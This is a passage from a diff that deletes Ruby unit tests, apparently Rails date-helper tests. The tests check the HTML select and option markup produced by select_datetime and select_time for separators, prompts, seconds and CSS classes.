-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
-  end
-
-  def test_select_datetime_with_all_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << "/"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << "/"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << "&mdash;"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << ":"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "&mdash;", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
-  end
-
-  def test_select_datetime_should_work_with_date
-    assert_nothing_raised { select_datetime(Date.today) }
-  end
-
-  def test_select_datetime_with_default_prompt
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
-                                               :prefix => "date[first]", :prompt => true)
-  end
-
-  def test_select_datetime_with_custom_prompt
-
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
-      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_select_time
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
-  end
-
-  def test_select_time_with_separator
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
-  end
-
-  def test_select_time_with_seconds
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
-  end
-
-  def test_select_time_with_seconds_and_separator
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
-  end
-
-  def test_select_time_with_html_options
-    expected = %(<select id="date_hour" name="date[hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
-  end
-
-  def test_select_time_should_work_with_date
-    assert_nothing_raised { select_time(Date.today) }
-  end
-
-  def test_select_time_with_default_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
